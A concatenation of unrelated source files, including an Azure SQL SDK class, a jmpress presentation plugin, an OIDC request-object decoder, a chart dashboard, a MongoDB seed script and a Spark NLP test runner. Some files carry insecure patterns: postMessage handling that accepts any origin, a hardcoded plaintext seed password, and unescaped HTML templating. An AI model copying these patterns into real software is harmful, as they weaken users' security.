response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 201, 202]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ServerAzureADOnlyAuthentication', response)
if response.status_code == 201:
deserialized = self._deserialize('ServerAzureADOnlyAuthentication', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
def create_or_update(
self, resource_group_name, server_name, azure_ad_only_authentication, custom_headers=None, raw=False, polling=True, **operation_config):
"""Sets Server Active Directory only authentication property or updates an
existing server Active Directory only authentication property.
:param resource_group_name: The name of the resource group that
contains the resource. You can obtain this value from the Azure
Resource Manager API or the portal.
:type resource_group_name: str
:param server_name: The name of the server.
:type server_name: str
:param azure_ad_only_authentication: Azure Active Directory only
Authentication enabled.
:type azure_ad_only_authentication: bool
:param dict custom_headers: headers that will be added to the request
:param bool raw: The poller return type is ClientRawResponse, the
direct response alongside the deserialized response
:param polling: True for ARMPolling, False for no polling, or a
polling object for personal polling strategy
:return: An instance of LROPoller that returns
ServerAzureADOnlyAuthentication or
ClientRawResponse<ServerAzureADOnlyAuthentication> if raw==True
:rtype:
~msrestazure.azure_operation.AzureOperationPoller[~azure.mgmt.sql.models.ServerAzureADOnlyAuthentication]
or
~msrestazure.azure_operation.AzureOperationPoller[~msrest.pipeline.ClientRawResponse[~azure.mgmt.sql.models.ServerAzureADOnlyAuthentication]]
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
raw_result = self._create_or_update_initial(
resource_group_name=resource_group_name,
server_name=server_name,
azure_ad_only_authentication=azure_ad_only_authentication,
custom_headers=custom_headers,
raw=True,
**operation_config
)
def get_long_running_output(response):
deserialized = self._deserialize('ServerAzureADOnlyAuthentication', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
lro_delay = operation_config.get(
'long_running_operation_timeout',
self.config.long_running_operation_timeout)
if polling is True: polling_method = ARMPolling(lro_delay, **operation_config)
elif polling is False: polling_method = NoPolling()
else: polling_method = polling
return LROPoller(self._client, raw_result, get_long_running_output, polling_method)
create_or_update.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Sql/servers/{serverName}/azureADOnlyAuthentications/{authenticationName}'}
def _delete_initial(
self, resource_group_name, server_name, custom_headers=None, raw=False, **operation_config):
# Construct URL
url = self.delete.metadata['url']
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'),
'serverName': self._serialize.url("server_name", server_name, 'str'),
'authenticationName': self._serialize.url("self.authentication_name", self.authentication_name, 'str'),
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
# Construct headers
header_parameters = {}
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 202, 204]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
def delete(
self, resource_group_name, server_name, custom_headers=None, raw=False, polling=True, **operation_config):
"""Deletes an existing server Active Directory only authentication
property.
:param resource_group_name: The name of the resource group that
contains the resource. You can obtain this value from the Azure
Resource Manager API or the portal.
:type resource_group_name: str
:param server_name: The name of the server.
:type server_name: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: The poller return type is ClientRawResponse, the
direct response alongside the deserialized response
:param polling: True for ARMPolling, False for no polling, or a
polling object for personal polling strategy
:return: An instance of LROPoller that returns None or
ClientRawResponse<None> if raw==True
:rtype: ~msrestazure.azure_operation.AzureOperationPoller[None] or
~msrestazure.azure_operation.AzureOperationPoller[~msrest.pipeline.ClientRawResponse[None]]
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
raw_result = self._delete_initial(
resource_group_name=resource_group_name,
server_name=server_name,
custom_headers=custom_headers,
raw=True,
**operation_config
)
def get_long_running_output(response):
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
lro_delay = operation_config.get(
'long_running_operation_timeout',
self.config.long_running_operation_timeout)
if polling is True: polling_method = ARMPolling(lro_delay, **operation_config)
elif polling is False: polling_method = NoPolling()
else: polling_method = polling
return LROPoller(self._client, raw_result, get_long_running_output, polling_method)
delete.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Sql/servers/{serverName}/azureADOnlyAuthentications/{authenticationName}'}
def list_by_server(
self, resource_group_name, server_name, custom_headers=None, raw=False, **operation_config):
"""Gets a list of server Azure Active Directory only authentications.
:param resource_group_name: The name of the resource group that
contains the resource. You can obtain this value from the Azure
Resource Manager API or the portal.
:type resource_group_name: str
:param server_name: The name of the server.
:type server_name: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: An iterator like instance of ServerAzureADOnlyAuthentication
:rtype:
~azure.mgmt.sql.models.ServerAzureADOnlyAuthenticationPaged[~azure.mgmt.sql.models.ServerAzureADOnlyAuthentication]
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
def prepare_request(next_link=None):
if not next_link:
# Construct URL
url = self.list_by_server.metadata['url']
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'),
'serverName': self._serialize.url("server_name", server_name, 'str'),
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
else:
url = next_link
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
return request
def internal_paging(next_link=None):
request = prepare_request(next_link)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
return response
# Deserialize response
header_dict = None
if raw:
header_dict = {}
deserialized = models.ServerAzureADOnlyAuthenticationPaged(internal_paging, self._deserialize.dependencies, header_dict)
return deserialized
list_by_server.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Sql/servers/{serverName}/azureADOnlyAuthentications'}
|
export const Company = "ET";
export const NewMessageRegister = "newMessageRegister";
export const NewMessageKitchen = "newMessageKitchen";
|
/*
* jmpress.presentation-mode plugin
* Display a window for the presenter with notes and a control and view of the
* presentation
*/
(function( $, document, window, undefined ) {
'use strict';
var $jmpress = $.jmpress;
var PREFIX = "jmpress-presentation-";
/* FUNCTIONS */
function randomString() {
return "" + Math.round(Math.random() * 100000, 0);
}
/* DEFAULTS */
$jmpress("defaults").presentationMode = {
use: true,
url: "presentation-screen.html",
notesUrl: false,
transferredValues: ["userZoom", "userTranslateX", "userTranslateY"]
};
$jmpress("defaults").keyboard.keys[80] = "presentationPopup"; // p key
/* HOOKS */
$jmpress("afterInit", function( nil, eventData) {
var current = eventData.current;
current.selectMessageListeners = [];
if(eventData.settings.presentationMode.use) {
window.addEventListener("message", function(event) {
// We do not test orgin, because we want to accept messages
// from all orgins
try {
if(typeof event.data !== "string" || event.data.indexOf(PREFIX) !== 0) {
return;
}
var json = JSON.parse(event.data.slice(PREFIX.length));
switch(json.type) {
case "select":
$.each(eventData.settings.presentationMode.transferredValues, function(idx, name) {
eventData.current[name] = json[name];
});
if(/[a-z0-9\-]+/i.test(json.targetId) && typeof json.substep in {number:1,undefined:1}) {
$(eventData.jmpress).jmpress("select", {step: "#"+json.targetId, substep: json.substep}, json.reason);
} else {
$.error("For security reasons the targetId must match /[a-z0-9\\-]+/i and substep must be a number.");
}
break;
case "listen":
current.selectMessageListeners.push(event.source);
break;
case "ok":
clearTimeout(current.presentationPopupTimeout);
break;
case "read":
try {
event.source.postMessage(PREFIX + JSON.stringify({type: "url", url: window.location.href, notesUrl: eventData.settings.presentationMode.notesUrl}), "*");
} catch(e) {
$.error("Cannot post message to source: " + e);
}
break;
default:
throw "Unknown message type: " + json.type;
}
} catch(e) {
$.error("Received message is malformed: " + e);
}
});
try {
if(window.parent && window.parent !== window) {
window.parent.postMessage(PREFIX + JSON.stringify({
"type": "afterInit"
}), "*");
}
} catch(e) {
$.error("Cannot post message to parent: " + e);
}
}
});
$jmpress("afterDeinit", function( nil, eventData) {
if(eventData.settings.presentationMode.use) {
try {
if(window.parent && window.parent !== window) {
window.parent.postMessage(PREFIX + JSON.stringify({
"type": "afterDeinit"
}), "*");
}
} catch(e) {
$.error("Cannot post message to parent: " + e);
}
}
});
$jmpress("setActive", function( step, eventData) {
var stepId = $(eventData.delegatedFrom).attr("id"),
substep = eventData.substep,
reason = eventData.reason;
$.each(eventData.current.selectMessageListeners, function(idx, listener) {
try {
var msg = {
"type": "select",
"targetId": stepId,
"substep": substep,
"reason": reason
};
$.each(eventData.settings.presentationMode.transferredValues, function(idx, name) {
msg[name] = eventData.current[name];
});
listener.postMessage(PREFIX + JSON.stringify(msg), "*");
} catch(e) {
$.error("Cannot post message to listener: " + e);
}
});
});
$jmpress("register", "presentationPopup", function() {
function trySend() {
jmpress.jmpress("current").presentationPopupTimeout = setTimeout(trySend, 100);
try {
popup.postMessage(PREFIX + JSON.stringify({type: "url", url: window.location.href, notesUrl: jmpress.jmpress("settings").presentationMode.notesUrl}), "*");
} catch(e) {
}
}
var jmpress = $(this),
popup;
if(jmpress.jmpress("settings").presentationMode.use) {
popup = window.open($(this).jmpress("settings").presentationMode.url);
jmpress.jmpress("current").presentationPopupTimeout = setTimeout(trySend, 100);
}
});
}(jQuery, document, window));
|
(function () {
"use strict";
var isWebkit = navigator.userAgent.indexOf("WebKit") >= 0 &&
navigator.userAgent.indexOf("Chrome") < 0,
isWebkitOrBlink = navigator.userAgent.indexOf("WebKit") >= 0,
isPhantomJs = navigator.userAgent.indexOf("PhantomJS") >= 0,
isLocalRunner = document.baseURI.substr(0, 'file://'.length) === 'file://',
testDisabledOnCondition = function (condition, text, functionHandle) {
var spec = it(text, functionHandle);
if (condition) {
spec.pend('disabled on this platform');
}
return spec;
};
window.ifNotInWebkitIt = function(text, functionHandle) {
return testDisabledOnCondition(isWebkit, text, functionHandle);
};
window.ifNotInWebkitOrBlinkIt = function (text, functionHandle) {
return testDisabledOnCondition(isWebkitOrBlink, text, functionHandle);
};
window.ifInPhantomJsIt = function(text, functionHandle) {
return testDisabledOnCondition(! isPhantomJs, text, functionHandle);
};
window.ifNotInPhantomJsIt = function(text, functionHandle) {
return testDisabledOnCondition(isPhantomJs, text, functionHandle);
};
window.ifNotInPhantomJSAndNotLocalRunnerIt = function (text, functionHandle) {
return testDisabledOnCondition(isPhantomJs || isLocalRunner, text, functionHandle);
};
window.ifNotInWebKitAndNotLocalRunnerIt = function (text, functionHandle) {
return testDisabledOnCondition(isWebkit || isLocalRunner, text, functionHandle);
};
}());
|
const getChartConfig = (title, type) => {
return {
type: type,
data: {
datasets: [{
data: [-1],
label: 'Loading...',
}],
labels: ['Loading...'],
},
options: {
cutoutPercentage: type === 'doughnut' ? 40 : 0,
responsive: true,
maintainAspectRatio: type === 'line' ? false : true,
legend: {
display: type === 'line',
},
title: {
display: true,
fontSize: 18,
fontColor: '#212529',
text: title,
},
tooltips: {
callbacks: {
label: function(tooltipItem, data) {
if (data.datasets[0].data[tooltipItem.index] < 0) {
return 'Loading...';
}
if (type === 'line') {
return data.datasets[tooltipItem.datasetIndex].label + ': ' + formatBytes(tooltipItem.value)
}
return data.labels[tooltipItem.index] + ': ' + formatBytes(data.datasets[0].data[tooltipItem.index])
}
},
mode: 'index',
intersect: true,
position: 'nearest',
},
elements: {
center: {
text: type === 'doughnut' ? 'Loading...' : '',
color: '#212529',
}
},
scales: {
yAxes: type === 'line' ? [
{
type: 'linear',
display: true,
position: 'left',
id: 'y-axis-1',
ticks: {
beginAtZero: true,
callback: function(value) {
if (value < 1) {
return formatBytes(0);
}
return formatBytes(value);
},
},
scaleLabel: {
display: true,
labelString: ''
}
}
] : []
},
},
};
}
const storageUsagePalette = ['#117733', '#66a61e', '#ff0029', '#377eb8', '#ff7f00'];
const generateColors = (num, paletteName = 'mpn65') => {
const scheme = palette.listSchemes(paletteName)[0];
return scheme.apply(scheme, [num]).reverse().map(color => {
return '#' + color;
})
}
const getBucketsColors = (buckets) => {
return buckets.map(bucket => {
return bucket.color;
})
}
const getLabels = (buckets) => {
return buckets.map(bucket => {
return bucket.name;
})
}
const sortByProperty = (buckets, property) => {
buckets.sort((a, b) => {
if (a[property] < b[property]) return -1;
if (a[property] > b[property]) return 1;
return 0;
})
}
const getData = (buckets, property) => {
return buckets.map(bucket => {
return bucket[property];
})
}
const getLineChartDatasets = (history) => {
const colors = storageUsagePalette
const labels = ['Billable storage', 'Active storage', 'Deleted storage', 'Padding data', 'Metadata'];
return ['billable', 'size', 'deleted', 'padding', 'metadata'].map((property, i) => {
return {
label: labels[i],
data: history.map(day => {
if (property === 'billable')
return day['size'] + day['deleted'] + day['padding'];
else if (property === 'size')
return day['size'] - day['metadata'];
return day[property]
}).reverse(),
borderColor: [colors[i]],
backgroundColor: colors[i],
fill: false,
}
})
}
const getDaysList = (history) => {
return history.map(day => {
return day.date;
}).reverse();
}
const formatBytes = (bytes, decimals = 2) => {
// Source: https://stackoverflow.com/a/18650828/6268326
bytes = parseInt(bytes)
if (bytes === 0) return '0 Bytes';
const k = 1024;
const dm = decimals < 0 ? 0 : decimals;
const sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'];
const i = Math.floor(Math.log(bytes) / Math.log(k));
return parseFloat((bytes / Math.pow(k, i)).toFixed(dm)) + ' ' + sizes[i];
}
const charts = [
{
title: 'Active storage by buckets',
type: 'doughnut',
},
{
title: 'Deleted storage by buckets',
type: 'doughnut',
},
{
title: 'Padding data by buckets',
type: 'doughnut',
},
{
title: 'Billable storage usage',
type: 'doughnut',
},
{
title: 'Storage usage history',
type: 'line',
}
].map((chart, i) => {
return new Chart(document.getElementById('chart' + i).getContext('2d'), getChartConfig(chart.title, chart.type))
})
const updateData = () => {
fetch('data.php').then(response => response.json()).then(data => {
let {buckets, total} = data;
const totalToday = total[0];
const colors = generateColors(buckets.length);
sortByProperty(buckets, 'size');
buckets = buckets.map((bucket, i) => {
return {...bucket, color: colors[i]}
})
charts[0].config.data.labels = getLabels(buckets);
charts[0].config.data.datasets[0].data = getData(buckets, 'size');
charts[0].config.data.datasets[0].backgroundColor = getBucketsColors(buckets);
charts[0].config.options.elements.center.text = formatBytes(totalToday.size);
charts[0].update();
sortByProperty(buckets, 'deleted')
charts[1].config.data.labels = getLabels(buckets);
charts[1].config.data.datasets[0].data = getData(buckets, 'deleted');
charts[1].config.data.datasets[0].backgroundColor = getBucketsColors(buckets);
charts[1].config.options.elements.center.text = formatBytes(totalToday.deleted);
charts[1].update();
sortByProperty(buckets, 'padding')
charts[2].config.data.labels = getLabels(buckets);
charts[2].config.data.datasets[0].data = getData(buckets, 'padding');
charts[2].config.data.datasets[0].backgroundColor = getBucketsColors(buckets);
charts[2].config.options.elements.center.text = formatBytes(totalToday.padding);
charts[2].update();
charts[3].config.data.labels = ['Active storage', 'Deleted storage', 'Padding data', 'Metadata'].reverse();
charts[3].config.data.datasets[0].data = [totalToday.size - totalToday.metadata, totalToday.deleted, totalToday.padding, totalToday.metadata].reverse();
charts[3].config.data.datasets[0].backgroundColor = storageUsagePalette.slice(1).reverse();
charts[3].config.options.elements.center.text = formatBytes(totalToday.size + totalToday.deleted + totalToday.padding);
charts[3].update();
charts[4].config.data.datasets = getLineChartDatasets(total);
charts[4].config.data.labels = getDaysList(total);
charts[4].update();
});
}
updateData();
setInterval(() => {
updateData();
}, 60 * 60 * 2 * 1000);
|
const Example = require("../models/example.model");
const responseHandler = require("../helpers/responseHandler");
const sampleData = {
name: "John Doe",
age: 13,
pass: true
};
const getExample = (req, res) => {
try {
return res
.status(200)
.json(
responseHandler(
true,
200,
"Example fetched Successfully",
sampleData
)
);
} catch (error) {
console.log(error);
return res
.status(500)
.json(responseHandler(false, 500, "Server Error", null));
}
};
module.exports = exampleController = {
getExample
};
|
const { isPlainObject } = require('lodash');
const JWT = require('../../helpers/jwt');
const instance = require('../../helpers/weak_cache');
const { InvalidRequestObject } = require('../../helpers/errors');
/*
* Decrypts and validates the content of provided request parameter and replaces the parameters
* provided via OAuth2.0 authorization request with these
*
* @throws: invalid_request_object
*/
module.exports = (provider, PARAM_LIST) => {
const { keystore, configuration: conf } = instance(provider);
return async function decodeRequest(ctx, next) {
const { params, client } = ctx.oidc;
let wasSignedOrEncrypted = false; // signed or encrypted by client confidential material
if (params.request === undefined) {
await next();
return;
}
if (conf('features.encryption') && params.request.split('.').length === 5) {
try {
const header = JWT.header(params.request);
if (!conf('requestObjectEncryptionAlgValues').includes(header.alg)) {
throw new Error('unsupported encrypted request alg');
}
if (!conf('requestObjectEncryptionEncValues').includes(header.enc)) {
throw new Error('unsupported encrypted request enc');
}
let decrypted;
if (header.alg.match(/^(A|P)/)) {
decrypted = await JWT.decrypt(params.request, client.keystore);
wasSignedOrEncrypted = true;
} else {
decrypted = await JWT.decrypt(params.request, keystore);
}
params.request = decrypted.payload.toString('utf8');
} catch (err) {
throw new InvalidRequestObject(`could not decrypt request object (${err.message})`);
}
}
let decoded;
try {
decoded = JWT.decode(params.request);
} catch (err) {
throw new InvalidRequestObject(`could not parse request object as valid JWT (${err.message})`);
}
const { payload, header: { alg } } = decoded;
if (payload.request !== undefined || payload.request_uri !== undefined) {
throw new InvalidRequestObject('request object must not contain request or request_uri properties');
}
if (payload.response_type !== undefined && payload.response_type !== params.response_type) {
throw new InvalidRequestObject('request response_type must equal the one in request parameters');
}
if (payload.client_id !== undefined && payload.client_id !== params.client_id) {
throw new InvalidRequestObject('request client_id must equal the one in request parameters');
}
if (client.requestObjectSigningAlg && client.requestObjectSigningAlg !== alg) {
throw new InvalidRequestObject('the preregistered alg must be used in request or request_uri');
}
if (!conf('requestObjectSigningAlgValues').includes(alg)) {
throw new InvalidRequestObject('unsupported signed request alg');
}
if (alg !== 'none') {
try {
const opts = {
issuer: payload.iss ? client.clientId : undefined,
audience: payload.aud ? provider.issuer : undefined,
clockTolerance: conf('clockTolerance'),
};
await JWT.verify(params.request, client.keystore, opts);
wasSignedOrEncrypted = true;
} catch (err) {
throw new InvalidRequestObject(`could not validate request object (${err.message})`);
}
}
const request = Object.entries(payload).reduce((acc, [key, value]) => {
if (PARAM_LIST.has(key)) {
if (key === 'claims' && isPlainObject(value)) {
acc[key] = JSON.stringify(value);
} else if (typeof value !== 'string') {
acc[key] = String(value);
} else {
acc[key] = value;
}
}
return acc;
}, {});
if (wasSignedOrEncrypted) ctx.oidc.signed = Object.keys(request);
Object.assign(params, request);
params.request = undefined;
await next();
};
};
|
/**
* @overview Fozzie Tabs Component JS Wrapper
*
* @module f-tabs
*/
// Import vue component
import Tabs from '@/components/Tabs.vue';
import Tab from '@/components/Tab.vue';
// Declare install function executed by Vue.use()
export function install (Vue) {
if (install.installed) return;
install.installed = true;
Vue.component('Tabs', Tabs);
Vue.component('Tab', Tab);
}
// Create module definition for Vue.use()
const plugin = {
install
};
// Auto-install when vue is found (eg. in browser via <script> tag)
let GlobalVue = null;
if (typeof window !== 'undefined') {
GlobalVue = window.Vue;
} else if (typeof global !== 'undefined') {
GlobalVue = global.Vue;
}
if (GlobalVue) {
GlobalVue.use(plugin);
}
// To allow use as module (npm/webpack/etc.) export component
export {
Tabs,
Tab
};
|
'use strict';
const {error, log} = require('../global/console');
const helperModule = {
error: (...args) => {
return error(...args);
},
fatal,
log: (...args) => {
return log(...args);
},
};
module.exports = helperModule;
/**
* @function
* @name fatal
* @description stop the application by logging the error message
* @param {string} message - message to be displayed
* @return {undefined}
*/
function fatal(message) {
if (message) {
helperModule.log(message);
}
process.exit(1);
}
|
var searchData=
[
['id',['id',['../struct_c_c_sb_sw_version__t.html#a2aab331b9eefaa845b9e91a6274d1336',1,'CCSbSwVersion_t']]],
['imageaddr',['imageAddr',['../struct_verified_image_info__t.html#a41ecf40c51b042310b0b70b17598317a',1,'VerifiedImageInfo_t']]],
['imagememorytype',['imageMemoryType',['../struct_verified_image_info__t.html#abe2ef020fb6fad0ad3e0bfe5311a322b',1,'VerifiedImageInfo_t']]],
['imagesize',['imageSize',['../struct_verified_image_info__t.html#a9deaa482f244796ace8648abd058e5e1',1,'VerifiedImageInfo_t']]],
['imageslist',['imagesList',['../struct_c_c_sb_images_info__t.html#a688bad81dac2f9371fdbd1a216dc4043',1,'CCSbImagesInfo_t']]],
['initdataflag',['initDataFlag',['../struct_c_c_sb_cert_info__t.html#a05256985db0ab141ed297957a14b685e',1,'CCSbCertInfo_t']]],
['issuername',['IssuerName',['../struct_c_c_x509_cert_header_info__t.html#a4465a2bea3ffce00902b24daf95a6ba1',1,'CCX509CertHeaderInfo_t']]]
];
|
const db = require("../config/connection");
const { Round, Hazard, User } = require("../models");
const roundData = require("./roundData.json");
const hazardData = require("./hazardData.json");
db.once("open", async () => {
await Round.deleteMany({});
await Hazard.deleteMany({});
await User.deleteMany({});
const rnd = await Round.insertMany(roundData);
const haz = await Hazard.insertMany(hazardData);
await User.create({
firstName: 'Brett',
lastName: 'Treweek',
email: '[email protected]',
password: 'qwerty123',
hazards: []
});
// populating rounds with hazards
rnd.forEach(async (round) => {
haz.forEach((haz) => {
if (round.roundNumber === haz.roundNumber) {
round.hazards.push(haz);
}
});
});
await Round.deleteMany({});
await Round.insertMany(rnd);
// pupulating hazards with a round
haz.forEach((hz) => {
rnd.forEach((rd) => {
const id = rd._id;
if (rd.roundNumber === hz.roundNumber) {
hz.round = id;
}
});
});
await Hazard.deleteMany({});
await Hazard.insertMany(haz);
console.log("Rounds and Hazards seeded!!!");
process.exit(0);
});
|
import { Alert } from "./Alert.js";
import { deleteBill } from "./requests.js";
const testBills = [
{
billName: "Rent",
nextDue: "2022-02-01",
amtDue: 635,
status: "current",
freq: "monthly",
type: "home",
datePaid: null,
},
{
billName: "PG&E",
nextDue: "2022-02-24",
amtDue: 85,
status: "current",
freq: "monthly",
type: "home",
datePaid: "2022-02-24",
},
{
billName: "Car Payment",
nextDue: "2022-02-13",
amtDue: 100,
status: "current",
freq: "weekly",
type: "auto",
datePaid: null,
},
];
// create billDropdown element
const BillDropdown = (bill) => {
return $(`
<div class="dropdown">
<h2>${bill.bill_name}</h2>
<div class="contents">
<div class="row">
<div class="col">
<h3>Next Due Date</h3>
<p>${bill.bill_due_date}</p>
</div>
<div class="col">
<h3>Amount Due</h3>
<p>$${bill.bill_amt_due}.00</p>
</div>
</div>
<div class="row">
<div class="col">
<h3>Status</h3>
<p>current</p>
</div>
<div class="col">
<h3>Frequency</h3>
<p>${bill.bill_freq}</p>
</div>
<div class="col">
<h3>Type</h3>
<p>${bill.bill_type}</p>
</div>
</div>
<div class="row">
<button class="editBillBtn">Edit Bill</button>
<button class="deleteBillBtn">Delete Bill</button>
</div>
</div>
</div>`);
};
// edit bill handler
const editBill = (bill_id) => {
location.hash = "edit_bill?bill=" + bill_id;
};
// delete bill handler
const deleteBillHandler = (bill) => {
Alert(`Are you sure you would like to delete this bill?`, () => {
deleteBill(bill);
});
};
// dropdown collapse toggle handler
const toggleCollapse = (dropdown) => {
for (let el of document.getElementsByClassName("contents")) {
if (el !== dropdown[0].children[1]) {
el.classList.remove("active");
}
}
dropdown[0].children[1].classList.toggle("active");
};
// create and append all dropdowns for current bills
const createBillDropdowns = (billArr) => {
let bill_dropdowns = $("#bill_dropdowns");
bill_dropdowns.html("");
for (let bill of billArr) {
let dropdown = BillDropdown(bill);
dropdown[0].children[0].onclick = () => toggleCollapse(dropdown);
dropdown.find(".editBillBtn").click(() => editBill(bill.bill_id));
dropdown.find(".deleteBillBtn").click(() => deleteBillHandler(bill));
bill_dropdowns.append(dropdown);
}
};
export { BillDropdown, createBillDropdowns, testBills };
|
# Copyright 2017-2021 John Snow Labs
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from test.annotators import *
from test.functions import FunctionMapColumnsTestSpec, FunctionMapColumnTestSpec
from test.misc import *
from test.base import *
from test.pretrained import *
# Annotator tests
unittest.TextTestRunner().run(BasicAnnotatorsTestSpec())
unittest.TextTestRunner().run(RegexMatcherTestSpec())
unittest.TextTestRunner().run(TokenizerTestSpec())
unittest.TextTestRunner().run(NormalizerTestSpec())
unittest.TextTestRunner().run(ChunkTokenizerTestSpec())
unittest.TextTestRunner().run(LemmatizerTestSpec())
unittest.TextTestRunner().run(LemmatizerWithTrainingDataSetTestSpec())
unittest.TextTestRunner().run(DateMatcherTestSpec())
unittest.TextTestRunner().run(TextMatcherTestSpec())
unittest.TextTestRunner().run(DocumentNormalizerSpec())
unittest.TextTestRunner().run(PerceptronApproachTestSpec())
unittest.TextTestRunner().run(ChunkerTestSpec())
unittest.TextTestRunner().run(ChunkDocSerializingTestSpec())
unittest.TextTestRunner().run(PragmaticSBDTestSpec())
unittest.TextTestRunner().run(PragmaticScorerTestSpec())
unittest.TextTestRunner().run(PipelineTestSpec())
unittest.TextTestRunner().run(SpellCheckerTestSpec())
unittest.TextTestRunner().run(NorvigSweetingModelTestSpec())
unittest.TextTestRunner().run(SymmetricDeleteTestSpec())
unittest.TextTestRunner().run(ContextSpellCheckerModelTestSpec())
unittest.TextTestRunner().run(ParamsGettersTestSpec())
unittest.TextTestRunner().run(DependencyParserTreeBankTestSpec())
unittest.TextTestRunner().run(DependencyParserConllUTestSpec())
unittest.TextTestRunner().run(TypedDependencyParserConll2009TestSpec())
unittest.TextTestRunner().run(TypedDependencyParserConllUTestSpec())
unittest.TextTestRunner().run(SentenceEmbeddingsTestSpec())
unittest.TextTestRunner().run(StopWordsCleanerTestSpec())
unittest.TextTestRunner().run(StopWordsCleanerModelTestSpec())
unittest.TextTestRunner().run(NGramGeneratorTestSpec())
unittest.TextTestRunner().run(ChunkEmbeddingsTestSpec())
unittest.TextTestRunner().run(EmbeddingsFinisherTestSpec())
unittest.TextTestRunner().run(NerDLModelTestSpec())
unittest.TextTestRunner().run(YakeKeywordExtractionTestSpec())
unittest.TextTestRunner().run(SentenceDetectorDLTestSpec())
unittest.TextTestRunner().run(WordSegmenterTestSpec())
unittest.TextTestRunner().run(LanguageDetectorDLTestSpec())
unittest.TextTestRunner().run(GraphExtractionTestSpec())
unittest.TextTestRunner().run(EntityRulerTestSpec())
unittest.TextTestRunner().run(Doc2VecTestSpec())
# Should be locally tested
# print("Running ElmoEmbeddingsTestSpec")
# unittest.TextTestRunner().run(ElmoEmbeddingsTestSpec())
# print("Running AlbertEmbeddingsTestSpec")
# unittest.TextTestRunner().run(AlbertEmbeddingsTestSpec())
# print("Running XlnetEmbeddingsTestSpec")
# unittest.TextTestRunner().run(XlnetEmbeddingsTestSpec())
# print("Running UniversalSentenceEncoderTestSpec")
# unittest.TextTestRunner().run(UniversalSentenceEncoderTestSpec())
# print("Running ClassifierDLTestSpec")
# unittest.TextTestRunner().run(ClassifierDLTestSpec())
# print("Running MultiClassifierDLTestSpec")
# unittest.TextTestRunner().run(MultiClassifierDLTestSpec())
# print("Running SentimentDLTestSpec")
# unittest.TextTestRunner().run(SentimentDLTestSpec())
# print("Running RecursiveTestSpec")
# unittest.TextTestRunner().run(RecursiveTestSpec())
# print("Running T5TransformerQATestSpec")
# unittest.TextTestRunner().run(T5TransformerQATestSpec())
# print("Running T5TransformerSummaryTestSpec")
# unittest.TextTestRunner().run(T5TransformerSummaryTestSpec())
# print("Running T5TransformerSummaryWithSamplingTestSpec")
# unittest.TextTestRunner().run(T5TransformerSummaryWithSamplingTestSpec())
# print("Running T5TransformerSummaryWithSamplingAndDeactivatedTopKTestSpec")
# unittest.TextTestRunner().run(T5TransformerSummaryWithSamplingAndDeactivatedTopKTestSpec())
# print("Running T5TransformerSummaryWithSamplingAndTemperatureTestSpec")
# unittest.TextTestRunner().run(T5TransformerSummaryWithSamplingAndTemperatureTestSpec())
# print("Running T5TransformerSummaryWithSamplingAndTopPTestSpec")
# unittest.TextTestRunner().run(T5TransformerSummaryWithSamplingAndTopPTestSpec())
# print("Running T5TransformerSummaryWithRepetitionPenaltyTestSpec")
# unittest.TextTestRunner().run(T5TransformerSummaryWithRepetitionPenaltyTestSpec())
# unittest.TextTestRunner().run(BertForTokenClassificationTestSpec())
# unittest.TextTestRunner().run(RoBertaSentenceEmbeddingsTestSpec())
# unittest.TextTestRunner().run(RoBertaForTokenClassificationTestSpec())
